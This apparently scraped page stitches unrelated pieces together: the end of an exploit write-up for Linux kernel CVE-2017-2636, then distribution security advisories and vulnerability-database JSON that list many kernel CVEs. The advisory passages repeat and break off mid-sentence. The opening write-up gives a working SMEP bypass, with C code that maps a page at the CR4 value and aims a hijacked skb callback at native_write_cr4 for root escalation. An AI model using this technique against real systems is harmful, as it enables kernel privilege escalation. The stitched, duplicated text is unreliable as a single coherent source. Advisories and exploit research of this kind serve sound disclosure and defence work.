`kmalloc-8192` slab stores only 4 objects, so double-free error has high chances to crash the allocator. But the following trick helps to avoid that and makes the exploit much more stable \u2013 send a dozen UDP packets to fill the partially emptied slabs.\r\n\r\n### SMEP bypass\r\n\r\nAs I mentioned, the `root_it()` shellcode resides in the userspace. Executing it in the kernelspace is detected by [SMEP](http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/) (Supervisor Mode Execution Protection). It is an x86 feature, which is enabled by toggling the bit 20 of CR4 register.\r\n\r\nThere are several approaches to defeat it, for example, Vitaly Nikolenko [describes](https://www.syscan360.org/slides/2016_SG_Vitaly_Nikolenko_Practical_SMEP_Bypass_Techniques.pdf) how to switch off SMEP using stack pivoting ROP technique. It works great, but I didn't want to copy it blindly. So I've created another quite funny way to defeat SMEP without ROP. Please inform me if that approach is already known.\r\n\r\nIn [`arch/x86/include/asm/special_insns.h`](http://lxr.free-electrons.com/source/arch/x86/include/asm/special_insns.h) I've found this function:\r\n\r\n\r\n\r\n```\r\nstatic inline void native_write_cr4(unsigned long val)\r\n{\r\n\tprintk(\"wcr4: 0x%lx\\n\", val);\r\n\tasm volatile(\"mov %0,%%cr4\": : \"r\" (val), \"m\" (__force_order));\r\n}\r\n```\r\n\r\n\r\n\r\nIt writes its first argument to CR4.\r\n\r\nNow let's look at `skb_release_data()`, which executes the hijacked `callback` in the Ring 0:\r\n\r\n\r\n```\r\n\tif (shinfo->tx_flags & SKBTX_DEV_ZEROCOPY) {\r\n\t\tstruct ubuf_info *uarg;\r\n\r\n\t\tuarg = shinfo->destructor_arg;\r\n\t\tif (uarg->callback)\r\n\t\t\tuarg->callback(uarg, true);\r\n\t}\r\n```\r\n\r\n\r\nWe see that the destructor `callback` takes `uarg` address as the first argument. And we control this address in the exploited `sk_buff`.\r\n\r\nSo I've decided to write the address of `native_write_cr4()` to `ubuf_info.callback` and put `ubuf_info` item at the mmap'ed userspace address `0x406e0`, which is the correct value of CR4 with disabled SMEP.\r\n\r\nIn that case SMEP is disabled on one CPU core without any ROP. However, now we need to win the race twice: first time to disable SMEP, second time to execute the shellcode. But it's not a problem for this particular exploit since it is fast and reliable.\r\n\r\nSo let's initialize the payload a bit differently:\r\n\r\n```\r\n\t#define CR4_VAL\t0x406e0lu\r\n\r\n\tvoid *target_addr = (void *)(CR4_VAL & 0xfffff000lu);\r\n\r\n\tarea = mmap(target_addr, 0x1000, PROT_READ | PROT_WRITE,\r\n\t\t\tMAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\r\n\tif (area != target_addr) {\r\n\t\tperror(\"[-] mmap\\n\");\r\n\t\treturn EXIT_FAILURE;\r\n\t}\r\n\r\n\tuinfo_p = (struct ubuf_info *)CR4_VAL;\r\n\tuinfo_p->callback = NATIVE_WRITE_CR4;\r\n\r\n\tinfo->destructor_arg = (uint64_t)uinfo_p;\r\n\tinfo->tx_flags = SKBTX_DEV_ZEROCOPY;\r\n```\r\n\r\n\r\nThat SMEP bypass looks witty, but introduces one additional requirement - it needs bit 18 (OSXSAVE) of CR4 set to 1\\. Otherwise `target_addr` becomes 0 and `mmap()` fails, since mapping the zero page is not allowed.\r\n\r\n## Conclusion\r\n\r\nInvestigating of `CVE-2017-2636` and writing this article was a big fun for me.

A improved XEN blkfront module was added, which allows more I/O\n bandwidth. (FATE#320200) It is called xen-blkfront in PV, and\n xen-vbd-upstream in HVM mode.\n\n The following security bugs were fixed:\n - CVE-2013-7446: Use-after-free vulnerability in net/unix/af_unix.c in the\n Linux kernel allowed local users to bypass intended AF_UNIX socket\n permissions or cause a denial of service (panic) via crafted epoll_ctl\n calls (bnc#955654).\n - CVE-2015-7515: An out of bounds memory access in the aiptek USB driver\n could be used by physical local attackers to crash the kernel\n (bnc#956708).\n - CVE-2015-7550: The keyctl_read_key function in security/keys/keyctl.c in\n the Linux kernel did not properly use a semaphore, which allowed local\n users to cause a denial of service (NULL pointer dereference and system\n crash) or possibly have unspecified other impact via a crafted\n application that leverages a race condition between keyctl_revoke and\n keyctl_read calls (bnc#958951).\n - CVE-2015-8539: The KEYS subsystem in the Linux kernel allowed local\n users to gain privileges or cause a denial of service (BUG) via crafted\n keyctl commands that negatively instantiate a key, related to\n security/keys/encrypted-keys/encrypted.c, security/keys/trusted.c, and\n security/keys/user_defined.c (bnc#958463).\n - CVE-2015-8543: The networking implementation in the Linux kernel did not\n validate protocol identifiers for certain protocol families, which\n allowed local users to cause a denial of service (NULL function pointer\n dereference and system crash) or possibly gain privileges by leveraging\n CLONE_NEWUSER support to execute a crafted SOCK_RAW application\n (bnc#958886).\n - CVE-2015-8550: Compiler optimizations in the XEN PV backend drivers\n could have lead to double fetch vulnerabilities, causing denial of\n service\n or arbitrary code execution (depending on the configuration)\n (bsc#957988).\n - CVE-2015-8551, CVE-2015-8552: xen/pciback: For\n XEN_PCI_OP_disable_msi[|x] only disable if device has MSI(X) enabled\n (bsc#957990).\n - CVE-2015-8569: The (1) pptp_bind and (2) pptp_connect functions in\n drivers/net/ppp/pptp.c in the Linux kernel did not verify an address\n length, which allowed local users to obtain sensitive information from\n kernel memory and bypass the KASLR protection mechanism via a crafted\n application (bnc#959190).\n - CVE-2015-8575: The sco_sock_bind function in net/bluetooth/sco.c in the\n Linux kernel did not verify an address length, which allowed local users\n to obtain sensitive information from kernel memory and bypass the KASLR\n protection mechanism via a crafted application (bnc#959190 bnc#959399).\n - CVE-2015-8767: net/sctp/sm_sideeffect.c in the Linux kernel did not\n properly manage the relationship between a lock and a socket, which\n allowed local users to cause a denial of service (deadlock) via a\n crafted sctp_accept call (bnc#961509).\n - CVE-2015-8785: The fuse_fill_write_pages function in fs/fuse/file.c in\n the Linux kernel allowed local users to cause a denial of service\n (infinite loop) via a writev system call that triggers a zero length for\n the first segment of an iov (bnc#963765).\n - CVE-2015-8812: A use-after-free flaw was found in the CXGB3 kernel\n driver when the network was considered to be congested. This could be\n used by local attackers to cause machine crashes or potentially code\n execution (bsc#966437).\n - CVE-2016-0723: Race condition in the tty_ioctl function in\n drivers/tty/tty_io.c in the Linux kernel allowed local users to obtain\n sensitive information from kernel memory or cause a denial of service\n (use-after-free and system crash) by making a TIOCGETD ioctl call during\n processing of a TIOCSETD ioctl call (bnc#961500).\n - CVE-2016-2069: Race conditions in TLB syncing was fixed which could leak\n to information leaks (bnc#963767).\n - CVE-2016-2384: Removed a double free in the ALSA usb-audio driver in the\n umidi object which could lead to crashes (bsc#966693).\n - CVE-2016-2543: Added a missing NULL check at remove_events ioctl in ALSA\n that could lead to crashes.

NOTE: the scope of\n CVE-2015-0272 is limited to the NetworkManager product (bnc#955354).\n - CVE-2015-8539: The KEYS subsystem in the Linux kernel allowed local\n users to gain privileges or cause a denial of service (BUG) via crafted\n keyctl commands that negatively instantiate a key, related to\n security/keys/encrypted-keys/encrypted.c, security/keys/trusted.c, and\n security/keys/user_defined.c (bnc#958463).\n - CVE-2015-8543: The networking implementation in the Linux kernel did not\n validate protocol identifiers for certain protocol families, which\n allowed local users to cause a denial of service (NULL function pointer\n dereference and system crash) or possibly gain privileges by leveraging\n CLONE_NEWUSER support to execute a crafted SOCK_RAW application\n (bnc#958886).\n - CVE-2015-8550: Optimizations introduced by the compiler could have lead\n to double fetch vulnerabilities, potentially possibly leading to\n arbitrary code execution in backend (bsc#957988).

This may be used\n by a physically present user for privilege escalation.\n\nCVE-2016-2543\n\n Dmitry Vyukov found that the core sound sequencer driver (snd-seq)\n lacked a necessary check for a null pointer, allowing a user\n with access to a sound sequencer device to cause a denial-of-\n service (crash).\n\nCVE-2016-2544, CVE-2016-2546, CVE-2016-2547, CVE-2016-2548\n\n Dmitry Vyukov found various race conditions in the sound subsystem\n (ALSA)&#x27;s management of timers. A user with access to sound devices\n could use these to cause a denial-of-service (crash or hang) or\n possibly for privilege escalation.\n\nCVE-2016-2545\n\n Dmitry Vyukov found a flaw in list manipulation in the sound\n subsystem (ALSA)&#x27;s management of timers. A user with access to sound\n devices could use this to cause a denial-of-service (crash or hang)\n or possibly for privilege escalation.\n\nCVE-2016-2549\n\n Dmitry Vyukov found a potential deadlock in the sound subsystem\n (ALSA)&#x27;s use of high resolution timers. A user with access to sound\n devices could use this to cause a denial-of-service (hang).\n\nCVE-2016-2550\n\n The original mitigation of CVE-2013-4312, limiting the total number\n of files a user could queue on local sockets, was flawed. A user\n given a local socket opened by another user, for example through the\n systemd socket activation mechanism, could make use of the other\n user&#x27;s quota, again leading to a denial-of-service (resource\n exhaustion). This is fixed by accounting queued files to the sender\n rather than the socket opener.\n\nFor the oldstable distribution (wheezy), these problems have been fixed\nin version 3.2.73-2+deb7u3. The oldstable distribution (wheezy) is not\naffected by CVE-2015-8830.\n\nFor the stable distribution (jessie), these problems have been fixed in\nversion 3.16.7-ckt20-1+deb8u4. CVE-2015-7566, CVE-2015-8767 and\nCVE-2016-0723 were already fixed in DSA-3448-1. CVE-2016-0774 does not\naffect the stable distribution.\n\nWe recommend that you upgrade your linux packages.\n\nFurther information about Debian Security Advisories, how to apply\nthese updates to your system and frequently asked questions can be\nfound at: https://www.debian.org/security/\n\nMailing list: debian-security-announce@lists.debian.org", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2016-03-03T20:56:20", "type": "debian", "title": "[SECURITY] [DSA 3503-1] linux security update", "bulletinFamily": "unix", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-4312", "CVE-2015-1805", "CVE-2015-7566", "CVE-2015-8767", "CVE-2015-8785", "CVE-2015-8812", "CVE-2015-8816", "CVE-2015-8830", "CVE-2016-0723", "CVE-2016-0774", "CVE-2016-2069", "CVE-2016-2384", "CVE-2016-2543", "CVE-2016-2544", "CVE-2016-2545", "CVE-2016-2546", "CVE-2016-2547", "CVE-2016-2548", "CVE-2016-2549", "CVE-2016-2550"], "modified": "2016-03-03T20:56:20", "id": "DEBIAN:DSA-3503-1:9DDFA", "href": "https://lists.debian.org/debian-security-announce/2016/msg00075.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "nessus": [{"lastseen": "2023-05-18T14:21:53", "description": "Incremental update from 4.4.3-200 bringing in a few missed ARMv7 fixes\n---- The 4.4.3 update contains a number of important fixes across the tree\n\nNote that Tenable Network Security has extracted the preceding description block directly from the Fedora security advisory.

"2023-05-18T14:10:18", "description": "An update for kernel is now available for Red Hat Enterprise Linux 6.\n\nRed Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.\n\nThe kernel packages contain the Linux kernel, the core of any Linux operating system.\n\nSecurity Fix(es) :\n\n* It was discovered that a remote attacker could leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and could subsequently perform any type of a fragmentation-based attack against legacy IPv6 nodes that do not implement RFC6946. (CVE-2016-10142, Moderate)\n\n* A flaw was discovered in the way the Linux kernel dealt with paging structures. When the kernel invalidated a paging structure that was not in use locally, it could, in principle, race against another CPU that is switching to a process that uses the paging structure in question. A local user could use a thread running with a stale cached virtual->physical translation to potentially escalate their privileges if the translation in question were writable and the physical page got reused for something critical (for example, a page table).\n(CVE-2016-2069, Moderate)\n\n* A race condition flaw was found in the ioctl_send_fib() function in the Linux kernel's aacraid implementation. A local attacker could use this flaw to cause a denial of service (out-of-bounds access or system crash) by changing a certain size value. (CVE-2016-6480, Moderate)\n\n* It was found that when the gcc stack protector was enabled, reading the /proc/keys file could cause a panic in the Linux kernel due to stack corruption. This happened because an incorrect buffer size was used to hold a 64-bit timeout value rendered as weeks. (CVE-2016-7042, Moderate)\n\n* It was found that when file permissions were modified via chmod and the user modifying them was not in the owning group or capable of CAP_FSETID, the setgid bit would be cleared.

A Common Vulnerability Scoring System (CVSS) base\nscore, which gives a detailed severity rating, is available for each\nvulnerability from the CVE link(s) in the References section.\n\nThe kernel packages contain the Linux kernel, the core of any Linux\noperating system.\n\nSecurity Fix(es) :\n\n* It was discovered that a remote attacker could leverage the\ngeneration of IPv6 atomic fragments to trigger the use of\nfragmentation in an arbitrary IPv6 flow (in scenarios in which actual\nfragmentation of packets is not needed) and could subsequently perform\nany type of a fragmentation-based attack against legacy IPv6 nodes\nthat do not implement RFC6946. (CVE-2016-10142, Moderate)\n\n* A flaw was discovered in the way the Linux kernel dealt with paging\nstructures. When the kernel invalidated a paging structure that was\nnot in use locally, it could, in principle, race against another CPU\nthat is switching to a process that uses the paging structure in\nquestion. A local user could use a thread running with a stale cached\nvirtual->physical translation to potentially escalate their privileges\nif the translation in question were writable and the physical page got\nreused for something critical (for example, a page table).\n(CVE-2016-2069, Moderate)\n\n* A race condition flaw was found in the ioctl_send_fib() function in\nthe Linux kernel's aacraid implementation. A local attacker could use\nthis flaw to cause a denial of service (out-of-bounds access or system\ncrash) by changing a certain size value. (CVE-2016-6480, Moderate)\n\n* It was found that when the gcc stack protector was enabled, reading\nthe /proc/keys file could cause a panic in the Linux kernel due to\nstack corruption. This happened because an incorrect buffer size was\nused to hold a 64-bit timeout value rendered as weeks. (CVE-2016-7042,\nModerate)\n\n* It was found that when file permissions were modified via chmod and\nthe user modifying them was not in the owning group or capable of\nCAP_FSETID, the setgid bit would be cleared. Setting a POSIX ACL via\nsetxattr sets the file permissions as well as the new ACL, but doesn't\nclear the setgid bit in a similar way. This could allow a local user\nto gain group privileges via certain setgid applications.\n(CVE-2016-7097, Moderate)\n\n* A flaw was found in the Linux networking subsystem where a local\nattacker with CAP_NET_ADMIN capabilities could cause an out-of-bounds\nmemory access by creating a smaller-than-expected ICMP header and\nsending to its destination via sendto(). (CVE-2016-8399, Moderate)\n\n* It was found that the blk_rq_map_user_iov() function in the Linux\nkernel's block device implementation did not properly restrict the\ntype of iterator, which could allow a local attacker to read or write\nto arbitrary kernel memory locations or cause a denial of service\n(use-after-free) by leveraging write access to a /dev/sg device.\n(CVE-2016-9576, CVE-2016-10088, Moderate)\n\n* A flaw was found in the USB-MIDI Linux kernel driver: a double-free\nerror could be triggered for the 'umidi' object.

"2023-05-18T14:11:34", "description": "Security Fix(es) :\n\n - It was discovered that a remote attacker could leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and could subsequently perform any type of a fragmentation- based attack against legacy IPv6 nodes that do not implement RFC6946. (CVE-2016-10142, Moderate)\n\n - A flaw was discovered in the way the Linux kernel dealt with paging structures. When the kernel invalidated a paging structure that was not in use locally, it could, in principle, race against another CPU that is switching to a process that uses the paging structure in question.\n A local user could use a thread running with a stale cached virtual->physical translation to potentially escalate their privileges if the translation in question were writable and the physical page got reused for something critical (for example, a page table).\n (CVE-2016-2069, Moderate)\n\n - A race condition flaw was found in the ioctl_send_fib() function in the Linux kernel's aacraid implementation. A local attacker could use this flaw to cause a denial of service (out-of-bounds access or system crash) by changing a certain size value. (CVE-2016-6480, Moderate)\n\n - It was found that when the gcc stack protector was enabled, reading the /proc/keys file could cause a panic in the Linux kernel due to stack corruption. This happened because an incorrect buffer size was used to hold a 64-bit timeout value rendered as weeks.\n (CVE-2016-7042, Moderate)\n\n - It was found that when file permissions were modified via chmod and the user modifying them was not in the owning group or capable of CAP_FSETID, the setgid bit would be cleared. Setting a POSIX ACL via setxattr sets the file permissions as well as the new ACL, but doesn't clear the setgid bit in a similar way. This could allow a local user to gain group privileges via certain setgid applications. (CVE-2016-7097, Moderate)\n\n - A flaw was found in the Linux networking subsystem where a local attacker with CAP_NET_ADMIN capabilities could cause an out-of-bounds memory access by creating a smaller-than-expected ICMP header and sending to its destination via sendto().

(CVE-2016-8399)\n\n - An issue was discovered in the IPv6 protocol specification, related to ICMP Packet Too Big (PTB) messages.\n (The scope of this CVE is all affected IPv6 implementations from all vendors.) The security implications of IP fragmentation have been discussed at length in [RFC6274] and [RFC7739]. An attacker can leverage the generation of IPv6 atomic fragments to trigger the use of fragmentation in an arbitrary IPv6 flow (in scenarios in which actual fragmentation of packets is not needed) and can subsequently perform any type of fragmentation-based attack against legacy IPv6 nodes that do not implement [RFC6946]. That is, employing fragmentation where not actually needed allows for fragmentation-based attack vectors to be employed, unnecessarily. We note that, unfortunately, even nodes that already implement [RFC6946] can be subject to DoS attacks as a result of the generation of IPv6 atomic fragments. Let us assume that Host A is communicating with Host B and that, as a result of the widespread dropping of IPv6 packets that contain extension headers (including fragmentation) [RFC7872], some intermediate node filters fragments between Host B and Host A. If an attacker sends a forged ICMPv6 PTB error message to Host B, reporting an MTU smaller than 1280, this will trigger the generation of IPv6 atomic fragments from that moment on (as required by [RFC2460]). When Host B starts sending IPv6 atomic fragments (in response to the received ICMPv6 PTB error message), these packets will be dropped, since we previously noted that IPv6 packets with extension headers were being dropped between Host B and Host A. Thus, this situation will result in a DoS scenario. Another possible scenario is that in which two BGP peers are employing IPv6 transport and they implement Access Control Lists (ACLs) to drop IPv6 fragments (to avoid control-plane attacks). If the aforementioned BGP peers drop IPv6 fragments but still honor received ICMPv6 PTB error messages, an attacker could easily attack the corresponding peering session by simply sending an ICMPv6 PTB message with a reported MTU smaller than 1280 bytes. Once the attack packet has been sent, the aforementioned routers will themselves be the ones dropping their own traffic.

If the\n aforementioned BGP peers drop IPv6 fragments but still honor received ICMPv6 PTB error messages, an\n attacker could easily attack the corresponding peering session by simply sending an ICMPv6 PTB message\n with a reported MTU smaller than 1280 bytes. Once the attack packet has been sent, the aforementioned\n routers will themselves be the ones dropping their own traffic.
